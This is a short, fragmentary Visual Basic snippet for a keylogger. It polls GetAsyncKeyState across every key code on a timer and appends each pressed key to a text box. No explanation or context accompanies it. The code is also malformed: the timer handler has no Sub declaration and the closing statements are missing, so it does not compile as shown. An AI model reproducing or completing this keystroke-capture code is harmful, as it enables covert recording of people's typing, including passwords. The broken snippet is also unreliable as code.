
Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer Timer1_Tick For i = 1 To 255 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then TextBox1.Text = TextBox1.Text + Chr(i) End If Next i